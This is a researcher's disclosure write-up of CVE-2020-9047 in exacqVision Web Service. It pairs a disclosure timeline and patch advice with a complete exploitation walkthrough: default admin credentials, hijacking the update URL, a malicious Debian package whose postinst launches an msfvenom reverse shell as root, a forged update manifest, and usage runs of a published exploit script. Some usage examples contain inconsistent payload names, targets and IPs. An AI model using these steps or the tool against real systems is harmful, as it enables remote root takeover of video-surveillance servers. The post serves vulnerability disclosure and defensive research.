Exploiting CVE-2020-9047 (ICSA-20-170-01)
On April 9, 2020, I discovered and reported the vulnerability in the exacqVision Web Service that has since been designated CVE-2020-9047 (ICSA-20-170-01) to the Johnson Controls Product Security team. The vulnerability was publicly disclosed by Johnson Controls on June 18, 2020. This vulnerability also affects exacqVision Enterprise Manager, however I was unaware of this at the time of discovery. As discovering such a vulnerability is out of the ordinary and exciting to me, I have since spent a decent amount of time researching the vulnerability while waiting for its public disclosure. Bits of this research will serve as the subject matter of this post.
If you or someone you know is using a vulnerable version of exacqVision Web Service or exacqVision Enterprise Manager, then please patch/urge whoever you know to patch. At the very least, ensure/confirm that you’ve configured a strong password for logging in to the configuration panel. As an additional security measure, some versions include the “Enable Localhost Restriction” option, which, when enabled, disables access from all external sources.
Disclosure Timeline
Vulnerability discovered: 04/08/2020
Vendor notified: 04/09/2020
Initial correspondence with vendor: 04/09/2020
Vulnerability disclosed by vendor: 06/18/2020
Incomplete fix released by vendor: 06/18/2020
Vendor notified of incomplete fix: 06/18/2020
Full fix released by vendor: 07/02/2020
CVE-2020-9047: Overview
The vulnerability CVE-2020-9047 received a 6.8 on the Common Vulnerability Scoring System (CVSS) with the CVSS vector string AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L, qualifying it as a medium-risk vulnerability. The vulnerability is exploitable once a user has authenticated to the exacqVision Web Service Administration panel. To summarily describe the vulnerability, the issue arises because the application will download and “install” (execute) arbitrary Windows executable (.exe
) and Linux Debian package (.deb
) files. Through this process, it is possible to gain complete control of the system that is running the vulnerable service. Since the executable/package file installation process is run as a high-privleged user on the underlying system, any provided (arbitrary) executable/package file will be subsequently “installed” (executed) with the same high-privilege permission.
Note: In my opinion, this vulnerability should have received a CVSS score higher than 6.8. I think a more accurate CVSS score might be a critical-risk 9.1, with the CVSS vector string AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
All Windows and Linux versions of exacqVision Web Service prior to 20.06.4.0 are affected by this vulnerabilty. It is worth noting here that a default administrator user name and are automatically configured upon installation of early versions of the service. During the installation process of newer versions, the user is required to configure a strong password for the service. Upgrading from early versions (where a default administrator password may be in use), however, does not require the user to configure a new, strong password.
Note: I haven’t spent time researching the vulnerability in exacqVision Enterprise Manager, but information suggests that all versions (Windows and Linux) prior to 20.06.4.0 are susceptible to the vulnerability
The general steps required to exploit CVE-2020-9047 in the context of exacqVision Web Service are listed below and are described in more detail in the following section:
- An attacker successfully authenticates to the Web Service Administration panel found at (by default)
http://www.vulnerable-evws.com/service.web
. - Then, from within the exacqVision Web Service Administration panel, the “Updates URL” field is changed from the default value of
http://www.exacq.com/downloads/evFileInfo.txt
to an attacker-controlled destination — for example,http://attacker-controlled.com/evFileInfo.txt
. - An attacker generates/creates a malicious update file (e.g.,
evil-package.deb
, as mentioned below) that includes attacker-specfied programs/commands that will be downloaded and installed/executed by the vulnerable target system via the exacqVision Web Service version update functionality. - The content within the attacker-controlled
evFileInfo.txt
is changed in such a way that suggests to the remote exacqVision Web Service upon request of the file, that a valid, recommended exacqVision Web Service version update is available, and that the update is available for download at, for example,http://www.attacker-controlled.com/evil-package.deb
. - The attacker-controlled
evFileInfo.txt
andevil-package.deb
are hosted athttp://attacker-controlled.com/evFileInfo.txt
andhttp://www.attacker-controlled.com/evil-package.deb
, respectively, before the vulnerable “Check For Updates” functionality available within the Web Service Administration panel is leveraged to instruct the vulnerable target to download and install/execute the maliciousevil-package.deb
package file.
Note: the process described above and in the following section has not been tested on ARM architecture systems.
Exploiting CVE-2020-9047: Linux
The following subsections outline the steps required to manually exploit CVE-2020-9047. In the demonstration/example, the vulnerable service is exacqVision Web Service version 7.8.2.97826 installed/running on a Linux x86 operating system.
Attacking Host: 10.0.0.11
exacqVision Web Service Host: 10.0.0.22
For the sake of readability, the content within all HTTP requests/responses in the following subsections have been URL-decoded.
1. Authenticating to the Web Service Configuration Panel
Authentication to the Web Service Administration panel is required to access the vulnerable functionalities within the service. As mentioned previously, early versions of exacqVision Web Service on configure a default user name of admin
with a default password of admin256
upon installation.
In this example, the login page for the Web Service Administration panel is located at http:/10.0.0.22/service.web
and can be authenticated to using the default credentials of admin
:admin256
. The login process is completed through one POST
request to /service.web
with the action=login&u=admin&p=admin256
form data, as shown in the request below.
POST /service.web HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 31
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web
action=login&u=admin&p=admin256
Successful authentication results in a server response that includes an authorization token, represented below.
HTTP/1.1 200 OK
Date: Mon, 01 Jun 2020 13:29:39 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 61
Connection: close
Content-Type: application/json
{"auth": "b5a5323fc67148a084f6b0bb5f4de83a", "success": true}
2. Changing the Updates URL
Once authenticated to the Web Service Administration panel, the “Updates URL” can be changed to an attacker-controlled location. In the version of exacqVision Web Service used in this example, the “Updates URL” page can be found within the web application in the “Configuration” sidebar tab under the “Updates” section.
Note: The default update URL is http://www.exacqvision.com/downloads/evFileInfo.txt. The content of evFileInfo.txt is important and will be explained in an upcoming step.
Continuing with the example, the “Updates URL” is changed to http://10.0.0.11/evFileInfo.txt
.
Note: The attacker-controlled version of the evFileInfo.txt doesn’t need to be named evFileInfo.txt - only the content within the file is important.
Changing the update URL involves one POST
request to http:/10.0.0.22/service.web/updates
with the auth=b5a5323fc67148a084f6b0bb5f4de83a&url=http://10.0.0.11/evFileInfo.txt&timeout=10
form data. An example POST
request and the susequent response are shown below.
POST /service.web/updates HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 97
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a
auth=b5a5323fc67148a084f6b0bb5f4de83a&url=http://10.0.0.11/evFileInfo.txt&timeout=10
HTTP/1.1 200 OK
Date: Tue, 02 Jun 2020 02:59:47 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 35
Connection: close
Content-Type: application/json
{"success": true, "restart": false}
3. Creating a Malicious Debian Package
Next, a Debian package file is created that will be installed (and subsequently executed) as an “update” on the exacqVision Web Service host. In this example, a Debian package file will be created that includes an ELF 32-bit binary reverse shell payload that was generated with msfvenom
. The msfvenom
command used to generate the reverse shell payload and the resulting output is shown below.
┌─[root@parrot]─[~/demo]
└──╼ #msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=10.0.0.11 LPORT=4444 -f elf -o shell_reverse_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell_reverse_tcp
The Debian package directory/file structure used in this example includes an evil-package
directory that contains a tmp
subdirectory and a required DEBIAN
subdirectory. Within the required evil-package/DEBIAN
directory is the required control
file as well as an executable postinst
file that will be used to execute commands and, in this case, execute the shell_reverse_tcp
binary on the target system. The shell_reverse_tcp
payload generated previously is moved to the evil-package/tmp
directory. The output below shows the previously described package directory/file structure.
┌─[root@parrot]─[~/demo]
└──╼ #tree
.
└── evil-package
├── DEBIAN
│ ├── control
│ └── postinst
└── tmp
└── shell_reverse_tcp
3 directories, 3 files
Put briefly, the DEBIAN/control
file is a required file within a Debian package that acts as the binary package’s master control file. Each DEBIAN/control
file requires a Package
field, a Version
field, an Architecture
field, a Maintainer
field, and a Description
field. The file format of the control
file is explained in further detail in man deb-control
. The content of the control
file in this example is shown below.
Package: evil-package
Version: 99.99.99.9999
Architecture: all
Maintainer: John Doe
Description: lorem ipsum
From man deb-postinst
, a package can perform several post-installation actions via maintainer scripts, by including an executable postinst
file in its control archive (i.e. DEBIAN/postinst
during package creation). Whatever commands are included in the postinst
file will be executed on the system post-installation of the Debian package.
In this example, the postinst
file includes shell commands that will make the shell_reverse_tcp
binary payload executable, run the shell_reverse_tcp
binary as a background process, and start/restart the webservice
and evapache
services, respectively. Starting/restarting the webservice
and evapache
services ensures that the functionality of exacqVision Web Service is restored after the installation of the malicious Debian package is complete.
The content of the postinst
file within the package directory structure relative to the example is shown below. Remember, the postinst
file must have executable file permissions.
#!/bin/bash
service webservice start
service evapache restart
chmod 2755 /tmp/shell_reverse_tcp && /tmp/shell_reverse_tcp &
With all of the previously described files in place within the evil-package
directory structure, the evil-packge.deb
binary package file can be built. A reliable way to build binary package files that are compatible on both old and new versions of Linux operating systems (more specifically, both old and new versions of dpkg
) is to use the dpkg-deb
Debian package archive directory manipulation tool.
The dpkg-deb
tool allows for the specification of gzip
compression to be used when building a package. By default, new versions of dpkg
and dpkg-deb
use xz
compression when building a package file, but support for xz
compression was not added to dpkg
until version 1.15.6. Therefore, versions of dpkg
prior to 1.15.6 are unable to compress/decompress package files that are built using default xz
compression.
The process of building the evil-package.deb
file using gzip
compression is shown below.
┌─[root@parrot]─[~/demo]
└──╼ #/usr/bin/dpkg-deb -Zgzip --build evil-package
dpkg-deb: building package 'evil-package' in 'evil-package.deb'.
┌─[root@parrot]─[~/demo]
└──╼ #file evil-package.deb
evil-package.deb: Debian binary package (format 2.0), with control.tar.gz, data compression gz
4. Modifying evFileInfo.txt
Recall the evFileInfo.txt
file that was introduced in step two. By default, exacqVision Web Service consults the evFileInfo.txt
file located at http://attacker-controlled.com/evFileInfo.txt
for information regarding service updates.
In the current example where the vulnerable service version 7.8.2.97826 is installed/running on a Linux x86 operating system, when checking for updates, the service will parse the evFileInfo.txt
file for updates relevant to the Linux operating system and the x86 architecture. For example, a valid service update to version 20.03.2.0 would be found within the genuine evFileInfo.txt
file as defined within the file and represented below.
...
[ev-WebService-Linux-20.03.2.0]
Version=20.03.2.0
Date=03-05-2020
Downloadable=True
Link=https://cdnpublic.exacq.com/20.03/exacqVisionWebService_20.03.2.0_x86.deb
Package=Linux
Product=webservice
Signed=False
Filesize=124771822
ChecksumType=md5
ChecksumHash=fc73c9636d47d8828e77fcdeff3f309c
Status=Recommended
Extension=deb
...
The service checks that the information within the brackets match the service to be updated (ev-WebService
), the operating system (Linux
), and the system architecture (the lack of x64
after the operating system implies x86
in this context). The bracketed header additionally contains a version number (20.03.2.0
). Under the bracketed header, the values of other items are checked before the update is qualified as valid.
Note: For clarification, a valid bracketed header within the evFileInfo.txt file for a Linux x64 system would be: [ev-WebService-Linux-x64-20.03.2.0]
The most important values to consider in the context of CVE-2020-9047 are Version
, Link
, Filesize
, and ChecksumHash
. The Version
value must match the version specified in the bracketed header and the Debian package file referenced in the Link
value must be the size (in bytes) specified as the Filesize
value and also must match the MD5 checksum value specified as the ChecksumHash
value.
Note: I haven’t tested the importance/requirement of every value under a bracketed header, but it appears deleting the “Signed” and “Extension” values does not have an impact on the outcome of the package validity check. The “Status” value of “Recommended” or “Optional” determines whether the update will be selected automatically when checking for updates through exacqVision Web Service GUI. The name of the file specified as the “Link” value does not need to contain the system’s architecture
The attacker-controlled evFileInfo.txt
which will be located at http://10.0.0.11/evFileInfo.txt
(the location specifed as the “Updates URL” in step two) should be made to contain information that will qualify the attacker-controlled evil-package.deb
package file as a valid exacqVision Web Service version update. This means that the Link
value should reference the location of evil-package.deb
and the Filesize
and ChecksumHash
values should be the filesize and MD5 checksum values of the evil-package.deb
file.
Note: The attacker controlled version of evFileInfo.txt does not need to be named evFileInfo.txt. Only the content of the file is important.
The evil-package.deb
file will be hosted/served alongside the attacker-controlled evFileInfo.txt
file at http://10.0.0.11/evil-package.deb
which will be set as the Link
value. Valid update version values loosly take the form of NN.NN.NN.NNNN
, so a version number can simply be made up for the bracketed header and the Version
value. The filesize value and the MD5 checksum value of the evil-package.deb
file can be found using the ls -la
and md5sum
commands.
┌─[root@parrot]─[~/demo]
└──╼ #ls -la evil-package.deb; md5sum evil-package.deb
-rw-r--r-- 1 root root 818 Jun 2 12:37 evil-package.deb
8c7b7ca17f550381218e6530bbfab2e6 evil-package.deb
The content of the attacker-controlled evFileInfo.txt
which will be located at http://10.0.0.11/evFileInfo.txt
is shown below.
[ev-WebService-Linux-99.99.99.9999]
Version=99.99.99.9999
Date=12-31-9999
Downloadable=True
Link=http://10.0.0.11/evil-package.deb
Package=Linux
Product=webservice
Filesize=818
ChecksumType=md5
ChecksumHash=8c7b7ca17f550381218e6530bbfab2e6
Status=Recommended
Extension=deb
5. Downloading/Executing the Malicious Debian Package
Now that the the vulnerable target’s update URL is set to search the attacker-controlled evFileInfo.txt
for a valid version update that will result in the installation/execution of the evil-package.deb
package on the target, the “Check For Updates” functionality available within the Web Service Administration panel can be leveraged to achieve this goal.
Before continuing, the attacker-controlled evFileInfo.txt
and evil-package.deb
files should be made available to the remote exacqVision Web Service system. Since the vulnerable service’s update URL is configured to check http://10.0.0.11/evFileInfo.txt
for updates and the attcker-controlled evFileInfo.txt
references http://10.0.0.11/evil-package.deb
as the Link
location of the “update” file, the two files will be made available to the remote system on HTTP port 80, as shown below.
┌─[root@parrot]─[~/demo]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Additionally, a nc
listener is started on the attacking system to handle the connection from the shell_reverse_tcp
payload.
┌─[root@parrot]─[~/demo]
└──╼ #nc -lvp 4444
listening on [any] 4444 ...
The “Check For Updates” button can be found within the web application in the “Configuration” sidebar tab under the “Updates” section. The “Check For Updates” process consists of (at a minimum) four requests. The four requests and their subsequent responses are briefly explained and shown below.
The first request in the process is a GET
request with a specified action of updatecheck
that accesses/reads the http://10.0.0.11/evFileInfo.txt
file in search of a valid service update.
GET /service.web?auth=b5a5323fc67148a084f6b0bb5f4de83a&action=updatecheck&updates_file=http://10.0.0.11/evFileInfo.txt HTTP/1.1
Host: 10.0.0.22
...
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a
The output below from the attacking system shows that the target system’s request for http://10.0.0.11/evFileInfo.txt
was successful.
┌─[root@parrot]─[~/demo]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.22 - - [03/Jun/2020 07:19:21] "GET /evFileInfo.txt HTTP/1.1" 200 -
The response confirms that a valid exacqVision Web Service update was found within http://10.0.0.11/evFileInfo.txt
. The “valid” update will update the version to 99.99.99.9999
, is located at http://10.0.0.11/evil-package.deb
, is Recommended
and is 818
bytes in size.
HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:30 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 168
Connection: close
Content-Type: application/json
{"update_info": [{"version": "99.99.99.9999", "link": "http://10.0.0.11/evil-package.deb", "update_type": "Recommended", "total_file_size": 818}], "success": true}
The second request is a POST
request to /service.web
with the form data auth=b5a5323fc67148a084f6b0bb5f4de83a&action=downloadupdate&version=99.99.99.9999
that instructs the application to download the version 99.99.99.9999
update identified in the previous request.
POST /service.web HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 81
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a
auth=b5a5323fc67148a084f6b0bb5f4de83a&action=downloadupdate&version=99.99.99.9999
The POST
request results in the target system requesting the http://10.0.0.11/evil-package.deb
“update” from the attacking system, as shown below.
┌─[root@parrot]─[~/demo]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.22 - - [03/Jun/2020 07:30:20] "GET /evFileInfo.txt HTTP/1.1" 200 -
10.0.0.22 - - [03/Jun/2020 07:30:22] "GET /evil-package.deb HTTP/1.1" 200 -
The response confirms that the “update” package file was found successfully at http://10.0.0.11/evil-package.deb
.
HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:34 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 17
Connection: close
Content-Type: application/json
{"success": true}
The third request is another GET
request with a specified action of downloadupdatestatus
that references the update to version 99.99.99.9999
.
GET /service.web?auth=b5a5323fc67148a084f6b0bb5f4de83a&action=downloadupdatestatus&version=99.99.99.9999 HTTP/1.1
Host: 10.0.0.22
...
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a
The response returns details regarding whether the download of the “update” package file is complete by comparing the current_file_size
value to the total_file_size
value of 818
identified in the first request of the “Check For Updates” process. Once the current_file_size
and the total_file_size
values are the same, the update file download is complete and the final request will be made.
HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:35 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 80
Connection: close
Content-Type: application/json
{"status": 2, "success": true, "current_file_size": 818, "total_file_size": 818}
The final (and fourth, in this case) request is a POST
request with the form data auth=b5a5323fc67148a084f6b0bb5f4de83a&action=update&version=99.99.99.9999
. This request triggers the installation/execution of evil-package.deb
on the underlying operating system. The application issues a shell command on the underlying system similar to dpkg --install evil-package.deb
as the root
user/with root
permissions.
POST /service.web HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 73
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a
auth=b5a5323fc67148a084f6b0bb5f4de83a&action=update&version=99.99.99.9999
As a result, the evil-package.deb
package file is installed/executed and the commands within the postinst
file are run with root
permissions. The result is that the exacqVision Web Service services are started/restarted, and /tmp/shell_reverse_tcp
is executed on the remote system. The output below shows the connection received from remote target system, that the package installation commands/postinst
commands were executed with root
privileges, and that the evil-package
version 99.99.99.9999
is installed on the system.
Note: The version included in the DEBIAN/control file does not need to match the version specfied in the attacker’s evFileInfo.txt.
┌─[root@parrot]─[~/demo]
└──╼ #nc -lvp 4444
listening on [any] 4444 ...
10.0.0.22: inverse host lookup failed: Unknown host
connect to [10.0.0.11] from (UNKNOWN) [10.0.0.22] 56986
whoami
root
dpkg -l | grep evil-package
ii evil-package 99.99.99.9999 all lorem ipsum
The response returns that the update
action was successful.
HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:35 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 17
Connection: close
Content-Type: application/json
{"success": true}
Exploiting CVE-2020-9047: Windows
The steps for exploiting the vulnerability on Windows systems are similar to the the steps required to exploit the vulnerability on Linux systems. In fact, steps one, two, and five are the same regardless of the underlying operating system. As the steps to exploit the vulnerability on Linux sytems have already been outlined, the steps included in this section will be brief.
- Complete in the same manner as explained in Linux step one.
- Complete in the same manner as explained in Linux step two.
- Create/generate a Windows executable (
.exe
) file instead of a Debian package file. WARNING: It will take a little extra work to ensure the functionality of exacqVision Web Service is restored after the installation of the malicious Windows executable file. A failed exploitation attempt will result in crashing the service. The service must be started/restarted from the system running exacqVision Web Service before functionality will be restored. - A valid bracketed header for Windows systems in the attacker-controlled
evFileInfo.txt
takes the form[ev-WebService-Windows-99.99.99.9999]
for 32-bit architectures and[ev-WebService-Windows-x64-99.99.99.9999]
for 64-bit architectures. TheLink
value should reference the attacker-controlled Windows executable file (ending with.exe
) as created in step three. ThePackage
value should be changed to the value ofWindows
. Complete the steps as outlined in Linux step four for other values. - Complete in the same manner as explained in Linux step five.
Exploit Code: CVE-2020-9047.py
I have written a program that automates the steps required to exploit the vulnerability on Linux and Windows x86/x64 systems. The full code is available on GitHub. The program works on exacqVision Web Service versions 3.8.2.67295 - 20.06.3.0. The help section of the program (-h
or --help
) is rather verbose and is included below for reference. Following the help section are brief example use cases/demonstrations.
usage: CVE-2020-9047.py [-h] [-p RPORT] [-s LPORT] [--command] [-d WEBDIR]
[-U USERNAME] [-P PASSWORD]
{WINDOWS,LINUX,CHECK} RHOST LHOST PAYLOAD
Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program
targets Windows and Linux x86 installations of exacqVision Web Service
versions 3.8.2.67295 - 20.06.3.0. Written by Michael W. Norris.
positional arguments:
{WINDOWS,LINUX,CHECK}
The target operating system. Provide "WINDOWS" for
Windows, "LINUX" for Linux, or "CHECK" to have this
program perform a check. When using "CHECK", '' can be
provided for the LHOST and PAYLOAD arguments.
RHOST The IP address of the remote host; the IP address of
the target.
LHOST The local IP address that will serve the payload for
the remote host. This should not be "localhost" or
"127.0.0.1". The remote host will need to be able to
connect to the provided IP address. This program
should be run on the system with the specified IP
address.
PAYLOAD The absolute file path of an existing Windows
executable (.exe) or Linux binary file on the local
system. The binary will be executed on the remote
host. If the --command flag is set and "LINUX" was
provided as the TARGET argument, enter a command that
will be executed on the remote host.
optional arguments:
-h, --help show this help message and exit
-p RPORT The port on the remote host where exacqVision Web
Service is running. Default: 80
-s LPORT The local port that will be used to serve the payload
file for the remote host. Default: 8000
--command Sets the command flag. The flag allows for a command
to be provided as the PAYLOAD argument instead of a
file path to a binary. The provided command will be
executed on the remote host. The flag should be set
only if "LINUX" was provided as the TARGET argument.
-d WEBDIR The local existing directory where a randomly named
temporary directory will be created. Default: /tmp
-U USERNAME The username for authenticating to the remote
exacqVision Web Service application. Default: admin
-P PASSWORD The password for authenticating to the remote
exacqVision Web Service application. Default: admin256
Usage Example I: System Check
To check whether a system is vulnerable to CVE-2020-9047 as well as susceptible to this exploit and/or to fingerprint the remote host’s operating system/architecture, use the following command syntax. In this example, the remote host is 10.0.0.22 (RHOST
).
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py CHECK 10.0.0.22 '' ''
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Usage Example II: Linux ELF File Payload
To instruct the remote Linux system 10.0.0.22 (RHOST
) running exacqVision Web Service on TCP port 8080 to install/execute an ELF binary payload that is present on the local system 10.0.0.11 (LHOST
) on TCP port 80 at absolute file path /root/demo/shell_reverse_tcp
(PAYLOAD
), use the following command syntax.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 -p 8080 10.0.0.11 -s 80 '/root/demo/ping_me'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:80
Serving payload from /tmp/tmpo7516343 directory
192.168.57.161 - - [03/Jun/2020 23:11:09] "GET /op0tv6l4 HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:11:13] "GET /aax35u41.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpo7516343
Stopping HTTP server on 0.0.0.0:80
Usage Example III: Linux Command Payload
To specify a command (--command
) to be excuted on the remote Linux system as the PAYLOAD
argument (instead of an ELF binary payload), use the following command syntax.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 10.0.0.11 --command 'ping -c 5 10.0.0.11'
Target OS: Linux i686
EVWS Version: 7.8.2.97826
Exploitable: YES
The provided command will be executed on the remote system
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpp2wmx5x3 directory
192.168.57.161 - - [03/Jun/2020 23:22:04] "GET /no_n0zgk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:22:08] "GET /1vlkyw3.deb HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpp2wmx5x3
Stopping HTTP server on 0.0.0.0:8000
Note: Specifying a command as a the PAYLOAD argument is only supported for remote Linux hosts.
Usage Example IV: Windows Executable File Payload
To instruct the remote Windows system 10.0.0.33 (RHOST
) with the exacqVision Web Service password of asdf1234!@#$
to install/execute a Windows executable payload that is present on the local system 10.0.0.11 (LHOST
) at absolute file path /root/demo/calc.exe
(PAYLOAD
), use the following command syntax.
┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.33 -P 'asdf1234!@#$' 10.0.0.11 '/root/demo/shell_bind_tcp.exe'
Target OS: windows Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz
EVWS Version: 9.8.4.149166
Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit
Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpgizzpfa4 directory
192.168.57.161 - - [03/Jun/2020 23:25:09] "GET /4kdjekqk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:25:13] "GET /fp92ecyj.exe HTTP/1.1" 200 -
Removing temporary directory structure /tmp/tmpgizzpfa4
Stopping HTTP server on 0.0.0.0:8000